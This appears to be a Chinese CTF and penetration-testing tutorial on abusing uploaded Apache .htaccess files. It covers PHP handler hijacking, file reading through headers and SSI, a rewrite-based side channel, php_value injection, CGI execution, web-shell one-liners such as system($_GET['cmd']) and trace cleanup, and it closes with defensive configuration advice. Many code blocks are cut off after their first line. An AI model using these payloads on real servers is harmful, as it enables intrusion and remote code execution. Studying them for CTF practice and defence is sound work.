Apache .htaccess 注入攻击专题——从文件解析劫持到信息泄露
前言
.htaccess 是 Apache 的目录级配置文件,允许在不修改主配置文件的情况下,对当前目录及其子目录进行权限控制、URL 重写、MIME 类型映射、错误页面定制等操作。
在 CTF 和渗透测试中,如果存在一个可以上传 .htaccess 文件的文件上传点,攻击者就能:
- 让图片被解析为 PHP 代码
- 通过 HTTP 响应头读取服务器上的任意文件
- 利用条件重写做侧信道逐字符爆破敏感文件内容
- 开启 SSI(Server-Side Includes)将
/flag等内容注入到页面中 - 利用
php_value/php_flag修改 PHP 运行时配置
本文梳理 .htaccess 的工作原理,并按攻击目标分类整理了十余种利用技巧。
一、.htaccess 基础
1.1 什么是 .htaccess
htaccess = “hypertext access”,是 Apache HTTP Server 的分布式配置文件。把它放在某个目录下,其中的指令就会作用于该目录及其所有子目录。
继承规则:
- 父目录的
.htaccess规则会与子目录的.htaccess合并后一起生效 - 子目录的
.htaccess可以覆盖父目录中的同名指令 - 同一目录下只能有一个
.htaccess文件
1.2 生效条件
必须在 Apache 主配置文件(httpd.conf 或 apache2.conf)中启用覆盖功能:
1 | <Directory /var/www/> |
AllowOverride 的值决定了 .htaccess 中哪些指令可以生效:
| 值 | 允许的指令类型 |
|---|---|
All |
所有 |
None |
完全忽略 .htaccess(最安全) |
FileInfo |
ErrorDocument、SetHandler、AddType、RewriteRule 等 |
AuthConfig |
AuthType、Require 等认证指令 |
Indexes |
DirectoryIndex、Options 等 |
Limit |
Order、Deny、Allow 等 |
Options |
Options 和 XBitHack |
1.3 攻击前提
- 目标服务器为 Apache(通常都有
/var/www/html目录结构) AllowOverride未设为None(CTF 中默认常为All)- 存在文件上传点,且未过滤
.htaccess文件名
二、文件解析劫持——让任意文件被当 PHP 执行
这类技巧是 .htaccess 最直接的应用:修改 MIME 类型映射,让 .jpg/.png/.txt 等”无害”文件被 Apache 当作 PHP 处理。
2.1 SetHandler(ForceType)——最常用
1 | <FilesMatch "shell.jpg"> |
效果:当前目录下的 shell.jpg 会被当作 PHP 脚本解析。
更灵活的写法:
1 | # 对所有 .jpg 生效 |
2.2 AddType —— MIME 映射
1 | AddType application/x-httpd-php .jpeg .png .txt |
效果:所有 .jpeg、.png、.txt 文件都会被当作 PHP 解析。
SetHandler vs AddType:
| SetHandler | AddType | |
|---|---|---|
| 作用范围 | 可精确到具体文件名(配合 <Files>/<FilesMatch>) |
整个目录,按扩展名 |
| 精确度 | 高 | 低(一刀切) |
| 隐蔽性 | 较高 | 低(目录下所有该后缀文件行为异常) |
2.3 AddHandler
1 | AddHandler application/x-httpd-php .jpg |
与 AddType 效果类似,让 .jpg 文件强制走 PHP handler。
2.4 双扩展名绕过
如果应用只允许上传 .jpg,但通过 .htaccess 开启 PHP 解析后,还可以利用双扩展名:
1 | AddType application/x-httpd-php .jpg |
然后上传 shell.php.jpg——Apache 会优先匹配最后一个扩展名(.jpg),而 .htaccess 让它被解析为 PHP。
2.5 结合 PHP 代码构造特殊 .htaccess
部分 Apache 配置允许 .htaccess 自身包含 PHP 代码。如果 AllowOverride 允许 php_value:
1 | php_value auto_prepend_file /flag |
或更极端的方法——构造一个既是合法 .htaccess 语法、又是合法 PHP 代码的文件:
1 | # <?php system($_GET['cmd']); ?> |
然后直接访问 .htaccess 文件即可执行 PHP 代码。
三、文件读取——通过 HTTP 响应头泄露文件内容
利用 Apache 的 mod_headers 模块和 expr 表达式,可以在 HTTP 响应头中回显文件内容。
3.1 基础版:Header 表达式
1 | Header always set X-Flag "expr=%{file:/flag}" |
原理: mod_headers 支持 expr 表达式,file() 函数读取文件内容。响应头 X-Flag 中会直接显示 /flag 的内容。
访问当前目录下任意文件,查看响应头即可拿到 flag。
3.2 组合版:开启目录浏览
1 | Options +Indexes |
Options +Indexes:开启目录浏览DirectoryIndex /test.txt:设置默认索引文件Header:在响应中回显/flag内容
3.3 环境变量回显
1 | RewriteEngine On |
解读:
| 指令 | 含义 |
|---|---|
RewriteEngine On |
开启 URL 重写引擎 |
RewriteCond expr "file('/flag') =~ /(.+)/" |
读取 /flag 全部内容,正则捕获到 %1 |
RewriteRule .* - [E=FLAG_CONTENT:%1] |
不改变 URL(-),将捕获内容设为环境变量 |
Header set X-Test-Expr "%{FLAG_CONTENT}e" |
将环境变量值写入响应头 |
访问任意页面,查看 X-Test-Expr 响应头即可。
四、SSI(Server-Side Includes)注入
SSI 是 Apache 的一项功能,允许在 HTML 中嵌入服务器指令(如 <!--#include file="/flag"-->),在返回页面时由服务端解析并替换为实际内容。.htaccess 可以强制开启 SSI。
4.1 ErrorDocument 注入
1 | Options +Includes |
效果: 访问当前目录下不存在的文件,触发 404 错误页面,SSI 指令将 /flag 的内容渲染进 404 页面中。
4.2 HTML 注入 + SSI 解析
1 | Options +Includes |
然后上传一个 evil.html:
1 | <!--#include virtual="/flag"--> |
访问 evil.html 即可看到 /flag 的内容。
4.3 SSI 指令速查
| SSI 指令 | 作用 |
|---|---|
<!--#include virtual="/flag"--> |
包含文件(相对于 DocumentRoot) |
<!--#include file="config.php"--> |
包含文件(相对路径) |
<!--#exec cmd="id"--> |
执行命令(需要 Options +IncludesNOEXEC 未开启) |
<!--#echo var="DOCUMENT_ROOT"--> |
输出环境变量 |
<!--#printenv--> |
列出所有环境变量 |
<!--#flastmod file="index.html"--> |
文件最后修改时间 |
<!--#fsize file="index.html"--> |
文件大小 |
关键:
<!--#exec cmd="..."-->→ 如果Options +Includes不带NOEXEC,可以直接执行系统命令,这是 SSI 的最高危利用。
五、侧信道爆破——逐字符猜解文件内容
利用 mod_rewrite 的条件表达式和 HTTP 状态码差异,可以逐字符爆破文件内容。
5.1 原理
1 | RewriteEngine On |
RewriteCond用正则匹配/flag文件内容的前缀- 匹配成功 →
RewriteRule . - [F]→ 返回 403 Forbidden - 匹配失败 → 返回 正常状态码(200/404 等)
通过检测访问一个已知存在文件时返回的是 403 还是 200,就能判断当前猜测的前缀是否正确,从而逐字符爆破整个 flag。
5.2 完整爆破脚本
1 | import requests |
5.3 正则中的特殊字符处理
如果 flag 中包含正则特殊字符(如 .、*、+ 等),需要手动或脚本转义。上述脚本中 flag 是逐字符拼接的,遇到正则特殊字符会导致误判,建议用 re.escape() 处理:
1 | import re |
5.4 变体:用 301 状态码区分
如果目录中存在大量正常文件返回 403 干扰,可以将匹配成功后的动作改为返回 301:
1 | RewriteRule . - |
判断逻辑相应修改为 r.status_code == 301。
六、PHP 配置注入——php_value / php_flag
如果 AllowOverride 为 All 或包含 Options,.htaccess 中可以修改 PHP 运行时配置。
6.1 auto_prepend_file / auto_append_file
1 | php_value auto_prepend_file /flag |
效果:当前目录下任何 PHP 文件被执行时,都会先自动包含 /flag。访问目录下任意 .php 页面即可在输出中看到 flag 内容。
1 | php_value auto_append_file /tmp/evil.php |
同理,auto_append_file 在 PHP 文件执行完毕后附加内容。
6.2 批量修改 PHP 配置
1 | # 允许包含远程文件(如果 allow_url_include 也为 On) |
6.3 注意:php_value 限制
php_value 只能修改 PHP_INI_ALL 或 PHP_INI_PERDIR 级别的配置项。PHP_INI_SYSTEM 级别的配置(如 disable_functions)无法通过 .htaccess 修改。
七、CGI 方式执行命令
如果目标 Apache 启用了 mod_cgi/mod_cgid,可以通过 .htaccess 让特定文件被当做 CGI 脚本执行。
7.1 SetHandler cgi-script
1 | Options +ExecCGI |
然后上传一个 shell.cgi:
1 |
|
本质是直接用 bash/sh 写可执行脚本,不再受限于 PHP。
7.2 用 SetHandler 直接执行
1 | <Files "evil"> |
上传一个文件名就叫 evil 的文件,内容同上,访问即可执行。
八、其他利用技巧
8.1 自毁 .htaccess
执行完攻击后,可以通过 php_value 或直接覆盖 .htaccess 来清理痕迹:
1 | # 上传空 .htaccess 覆盖之前的规则 |
8.2 ErrorDocument 作为 Web Shell
1 | ErrorDocument 404 "<?php system($_GET['cmd']); ?>" |
访问当前目录下任意不存在的 PHP 文件(如 /upload/nonexist.php),Apache 返回自定义 404 页面,其中嵌入的 PHP 代码被执行。
8.3 强制返回原始源码
1 | RemoveHandler .php |
让当前目录下所有 .php 文件不再被 PHP 引擎处理,直接以纯文本形式返回源码。
8.4 修改目录索引页
1 | DirectoryIndex /flag |
将默认首页改为 /flag,访问目录时直接显示 flag 内容。
8.5 拒绝访问 + 信息收集
1 | Order Allow,Deny |
先将目录设为拒绝访问,再结合其他技术逐步收集信息。
九、攻击链组合
CTF 中 .htaccess 经常作为文件上传攻击链的一环——先上传 .htaccess 配置环境,再上传恶意 payload 触发执行。
典型攻击链
1 | ┌────────────────────────────────────────────────────────────┐ |
无回显场景下的 alternative 链:
1 | ┌────────────────────────────────────────────────────────────┐ |
十、各技巧适用场景速查
| 技巧 | 依赖模块 | 条件 | 目标 |
|---|---|---|---|
| SetHandler / AddType | mod_mime |
AllowOverride FileInfo | 图片马解析、getshell |
| php_value auto_prepend_file | mod_php |
AllowOverride Options/All | 文件泄露、代码执行 |
| Header + expr file() | mod_headers |
AllowOverride FileInfo | 直接读取文件 |
| **SSI () ** | mod_include |
AllowOverride Options/All | 文件包含、命令执行 |
| **SSI () ** | mod_include |
Options +Includes 无 NOEXEC |
直接 RCE |
| RewriteRule 侧信道 | mod_rewrite |
AllowOverride FileInfo | 无回显时逐字符爆破 |
| CGI Script | mod_cgi/mod_cgid |
AllowOverride Options | 执行任意脚本 |
| ErrorDocument | core |
AllowOverride FileInfo | Web Shell / 文件泄露 |
| php_value / php_flag | mod_php |
AllowOverride Options/All | 修改 PHP 配置 |
| DirectoryIndex | mod_dir |
AllowOverride Indexes | 修改默认首页 |
十一、防御措施
| 层面 | 措施 | 说明 |
|---|---|---|
| Apache 配置 | AllowOverride None |
全局禁用 .htaccess,所有配置集中到 httpd.conf |
| Apache 配置 | 设置 AllowOverride 为最小权限 |
如只需要认证,设为 AuthConfig,不授予 FileInfo |
| 上传过滤 | 禁止上传 .htaccess 文件 |
黑名单中包含 .htaccess、.htpasswd |
| 上传过滤 | 仅允许特定扩展名白名单 | 只允许 .jpg、.png、.pdf,拒绝任何配置类文件名 |
| PHP 隔离 | 上传目录单独配置 | 对 /uploads/ 目录单独设置 <Directory> 块,覆盖所有 .htaccess 权限 |
| 监控 | 告警 .htaccess 文件的创建 |
在非预期目录出现 .htaccess 通常意味着攻击 |
| 最小权限 | Web 目录属主不应有写权限 | chown root:root /var/www/html,Web 进程用户只读 |
Apache 配置示例
1 | # 对上传目录单独禁止 .htaccess |